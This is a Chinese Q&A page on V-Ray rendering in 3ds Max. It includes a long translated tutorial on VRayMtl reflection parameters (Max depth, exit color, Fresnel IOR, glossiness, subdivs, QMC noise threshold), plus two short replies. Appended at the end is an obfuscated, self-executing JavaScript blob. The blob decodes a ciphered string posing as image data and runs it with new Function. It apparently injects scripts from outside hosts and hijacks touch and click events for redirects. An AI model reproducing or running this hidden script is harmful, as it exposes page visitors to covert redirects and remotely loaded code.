3DmaxVR渲染怎么每加一个贴图场景跟着变暗 都跟着你的贴图的颜色而变

2024-12-01 00:42:15
推荐回答(3个)
回答1:

这篇基础的材质教程几乎将所有与VR材质相关的参数都分析到了。如果你是一个VR的初学者,建议你先找一些关于VR渲染面板的基础教程了解一下,那么你将会有一个正确的思路来学习这篇教程!当然你也得有一定的3D基础,因为VR是3DMAX的一个插件!(原文连接)

这篇教程里原作者使用的VR版本为1.47.03,由于怕篇幅过长而引起的网页打开过慢,我将作者的教程分成了VR材质反射参数详解,VR材质折射参数详解及VR材质扩展参数详解这3个部分。

1、设置渲染参数(Render settings)

设置参数如下:
输出分辨率为480*360

Global switches(全局开关)
- Default lights(默认灯光):关闭

Image sampler(图像采样)
- Image sampler:Adaptive QMC
- Antialising filter(抗锯齿):mitchell-netravali

Indirect illumination(间接照明)
- Second bounces (二次反弹):0.85

Irradiance map(发光贴图)
- Current preset(当前预置):Low
- Hsph subdivs (模型细分):30

Environment(环境)
- GI Environment(全局光环境):纯白
- 反射/折射:纯白 倍增值:1.2

2、建立一个测试场景(Test sence)

尽量简单,茶壶是材质测试的好东西,因为它有很好的曲面来反应材质的特性,这也是它成为最早的3D模型的原因。如果你的测试场景想和这篇教程尽量相近的话那就拉出2个茶壶放在一个大的平面上,如下图:

3、打开材质编辑器(Open the material editor)

你可以按“M”键来打开

4、建立一个VR材质(Load a VRayMtl)

点击材质面板上的 Standard 按钮,从列表中选中 VRayMtl,然后双击

5、给材质命名和改颜色(Rename and color)

将材质的名称改为 teapot1。在面板的基本参数里第一个是漫射通道(diffuse),这是材质里的主要颜色。颜色旁边的方块是一个贴图通道,你可以在这里加载位图或是其他格式的图片来附到材质上。这里我们把颜色调成一种明快的桔黄色,然后附给大的茶壶~

6、另一个材质(Second mat)

重复上面的步骤调出一个颜色非常浅的灰色材质。将其命名为 groundplan,然后将其附给地面和小的茶壶。

7、首次渲染(First render)

点击渲染,如果你的渲染参数和上面步骤1相同的话,并且把默认灯光关闭,那么你的图应该和我的差不多。

8、反射(Reflections)

在材质面板中选择橙黄色的材质,在漫射通道的下面是反射通道,反射旁边的那个颜色框是主要的控制方式。纯黑色代表一点反射都没有,纯白色代表100%反射,就像镜子一样,如果你将颜色调成红色,那么反射的颜色也将变成红色。我们先把颜色调到中间看看吧:

9、渲染(render)

点击渲染,你可以看到茶壶的反射很强。这时你可以调一个深灰色和一个浅灰色来对比下它们之间的区别

10、最大深度(Max depth)

将反射颜色调到白色,并把Max depth调到1。点击渲染

这是你会注意到很多地方的阴影变黑了,最大深度可以控制光线射到物体上的反射次数。值为1表示只接受光的一次反射,值为2表示接受光的一次反射以后还可以把光再反射出去。。再看看下面这个小场景,里面前后2个黄色的BOX是2个镜子,我们依次调整它们的Max depth值来看看有什么区别:

Max depth值:1 渲染时间:1分12秒

Max depth值:2 渲染时间:1分24秒

Max depth值:3 渲染时间:1分40秒

Max depth值:4 渲染时间:2分03秒

所以在场景中如果物体不是像镜子这种反射非常强的东西,最大深度给个2~3就足够了,只有镜子和那种非常光滑的不锈钢可以给到5以上,一般最大深度不要超过10,否则的话只会在那浪费渲染时间得到的效果反而一般。

11、逝色(Exit color)

将Max depth设为1,然后将Exit color调成红色,同时附给小一点的茶壶然后再渲染一次看看

现在你会发现所有的反射颜色都变成红色了。这是因为光线只被追踪一次。当光第一次照射到物体上时带去了环境的颜色,而当光线从物体上反弹回来时形成了第二次反射,由于这里材质的最大深度设定为1,所以第二次反射就没有被追踪。这时Exit color的颜色就会在光线没有被追踪到的地方显示出来。下面把Exit color调成原来的黑色,提高Max depth值让黑色的反射区域消失。

(至于将Exit color翻译成逝色我也不知道对不对,我的理解它是在光线追踪消失后才出现的颜色。我看了中文版的VR,感觉上面翻译成退出颜色意思表达的也不是很明确。所以就暂时这样翻译吧!在上一步那2个镜子来回反射的场景中如果将镜子材质的Exit color也改成红色的话那么正中间没有反射的黑色的镜子也就会变成红色的了。)

12、菲涅耳反射(Fresnel reflections)

菲涅耳反射是一种几乎所有反射物体上都存在的现象。它的特性就是在物体与物体相接(或是相邻)面上的反射要比其他面上的反射要弱一些。

菲涅耳反射的这种现象主要是通过材质面板上的Fresnel IOR值来控制的,你可以在反射面板里找到它。在现实生活中,菲涅耳现象和这里的IOR值很接近。然而在VRay里,你可以设定不同的值来表现出不同的反射,如果你想更改这个数值的话只需将菲涅耳反射复选框旁边的那个L点一下就可以了。

我们保持IOR为1.6不变,单击渲染。注意下2个茶壶相邻的地方反射要比茶壶2边的要弱。

降低Fresnel IOR的值可以加强这种效果。IOR的值越低,中间的反射效果就越弱,但当你把IOR的值提高到>25的话,效果就好比菲涅耳反射没打开一样。

13、小茶壶的材质(Teapot 2 material)

复制一个teapot1材质,然后将其名称改为teapot2,并将颜色改成深红色。

14、反射模糊(Reflection glossiness)

选中桔黄色的材质,将反射颜色调到中间,关闭菲涅耳反射,将Reflection glossiness值从1.0降为0.8

点击渲染,现在可以看到反射效果变的非常模糊,如果你仔细观察具有这种效果的真实物体,那么你会发现在它的表面上有很多细小的凹凸。如果在3D里要做出这种效果的话,必须在bump通道里贴一张非常漂亮的bump贴图。用VR的反射模糊来代替3D的bump贴图,渲染的时间也要快很多。

现在你可以调调不同的Reflection glossiness值所渲出来的效果。glossiness即光泽的意思,glossiness=1.0即表示100%的光滑,值越低所反射的效果就越模糊,很多人容易将光泽度这个术语与模糊的意思搞混,这就造成了很多的困惑。

15、光滑的模糊反射(Smoother blurry reflections)

如果你仔细观察上面那幅图的话,你会发现反射的表面有很多的小颗粒,这是因为材质的采样过低。Reflection glossiness下面的Subdivs(采样)是用来控制反射模糊的平滑度的,我们把Subdivs值从默认的8提高到20在渲染一遍,结果会发现图像的模糊效果要平滑的多了。

注意Subdivs为8表示8*8=64个采样点,Subdivs为20表示20*20=400个采样点。但如果你把Subdivs值提高一倍的话,渲染的时间可能会增加很多。如果用高采样的材质那么你的图像采样必须得用Adaptive QMC这种模式,如果你想使用Adaptive subdivision 这种模式,那么你的材质采样只能控制在3~10之间。假如你的场景有很多模糊反射的物体,那么Adaptive QMC永远都是首选!

16、QMC设置:更加平滑的模糊反射(QMC settings: smooth the blurry reflections even more)

如果你想使反射模糊变的更平滑,用增加Subdivs采样值的方法也不是一直都有效。用不着将采样值提高到40以上来减少噪点,在QMC设置里可以找到另一种比较好的方法。

来到渲染面板将QMC Sampler展开,将Noise threshold值降到0.001,这时渲染你会发现噪点完全消失了,但渲染时间会长一点。在做像这种测试渲染的时候通过更改QMC的设置渲染速度会加快很多,比方说你把Noise threshold的值调到0.5感受一下速度~~

注意QMC的设置同样会影响到光子图,阴影以及特效等等。。。所以降低Noise threshold的值影响的不仅仅是模糊反射的效果,对于GI的质量也一样起作用。(光子图的质量好坏直接影响到你效果图的质量,这就是为什么有的人出图的时候参数给的非常高但图渲出来后看上去依然很飘,因为他出光子图的时候参数给的很低!这就导致在计算阴影的时候会有偏差!)

17、高光模糊(Highlight glossiness)

从3D默认材质中你也许知道一种叫做高光的东西,但实际上这是一种虚假的反射。其在物体上的具体表现就是能反射出一个很亮的光点。

在以前的VR版本中是没有高光模糊这个参数的。但后来需求逐渐增多,开发人员才将这个参数加入到VR中去。值得注意的是高光模糊这种效果只会在有灯光的场景里出现,对于天光来说是不会产生高光模糊这种效果的。

18、打一盏聚光灯(Create a spotlight)

为了观察这种效果我们在茶壶的上方打了一盏聚光灯。在聚光灯的参数里,开启阴影并选择VRay shadows

关闭天光,在这里我们不需要任何的天光。然后点击渲染看看

茶壶上白色的地方就是高光模糊了,但这是一种虚假的反射,因为3D的聚光灯是不可能出现在摄像机和反射中的。但是高光模糊可以将灯光给反射出来。

19、高光关联(Highlight glossiness linked)

默认情况下高光模糊是和反射模糊关联在一起的。这就意味着在一个有灯光的场景里如果你用了反射模糊的话那么高光模糊也会一起跟着出现。

我们可以通过按起高光模糊参数右边的L来将它们给分离开来。这时高光模糊的参数应该是1.0,点击渲染看看效果

这时你会发现茶壶上的高光不见了,那是因为1.0表示一点高光模糊都没有,就像反射模糊为1.0时一点模糊效果都没有的道理一样。

20、只要高光?(Highlight glossiness only?)

如果你只希望高光模糊出现而不需要反射模糊的话,那么你就得动点脑子了。我们通常的逻辑首先是要将反射模糊提高到1.0,这样就不会出现模糊效果了。这样想是对的~~但是这样只会调出一个反射非常清晰高光却很模糊的不存在的材质!不信的话我们就来试试,将反射模糊提高到1.0,高光模糊0.75来渲渲看看

虽然你渲出来的材质像这个样子,但它却是不真实的!它将灯光反射的非常模糊,但是环境却反射的很清晰,然而这在真实世界中是不存在的!因为反射不会将灯光和其他物体反射成2种截然不同的效果!

21、关闭反射(Turn off reflections)

所以如果想只要高光模糊,你必须要将这个材质的反射给关闭。这在VR中是能办到的,只是参数被隐藏到VR材质的Options卷栏里去了。

将Trace reflections前面的勾去掉,再次渲染

这时你就会得到一个只有高光模糊而没有反射的材质了,看上去就像是给了点高光的3D材质一样。同样这也是一个不真实的材质,因为它将灯光给反射出来了但是环境却一点也没有反射出来。

22、贴图通道(Map slots)

在所有的反射参数旁边有一个贴图通道。这就意味着你可以通过一张贴图来控制物体的反射颜色,反射模糊,高光模糊以及菲涅耳反射参数。

比方说我们在反射的贴图通道里给它加一个“checker(棋盘格)”,你可在viewport中观察贴图是否显示正确。

将其他的反射都调到默认的值,反射颜色调到中间的灰色,所有反射模糊效果调到1.0,关闭菲涅耳反射,开启材质追踪反射。删除聚光灯,并把天光亮度调回到原来的1.0。渲染下看看效果先

这时你会得到这样的效果。材质中所有黑色的区域一点反射都没有,而白色的区域则是100%的反射。你可以在其他的通道中也试试这个贴图。但是需要注意的是白色对于反射模糊来说相当于值1.0的时候,即一点模糊效果都没有,但是黑色却相当于值0.0的时候,所以会变得非常模糊!

23、使用插值(Use interpolation)

在subdivs下面有个Use interpolation参数,其作用就是加快计算模糊效果的速度,对于Irradiance map的GI计算也有同样的效果。当你把方框勾上的时候你会在另外一个材质卷栏里找到相关的参数。

我将不会介绍这些参数,因为我不推荐为模糊反射效果使用这个功能。它们很少有看起来不错的效果。而当你需要高质量的时候,它们会花费掉相当长的渲染时间。所以如果你想具体的了解Use interpolation这个参数的话请参考用户手册。

回答2:

贴图场景,那你是加的场景不是给模型贴图了,8键打开MAX自带环境贴图面板加的贴图还是在VR渲染器加的。
打开材质编辑器,将你加的环境贴图拉到一个空白材质球上,注意是关联,也就是实例方式,然后修改材质球颜色和亮度等,环境贴图也跟着修改过来了。
另外建议用VR-HDRI高动态贴图做环境贴图,别用普通的位图。

回答3:

你说什么呢 路七八糟的 能不能说清楚点 啊

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();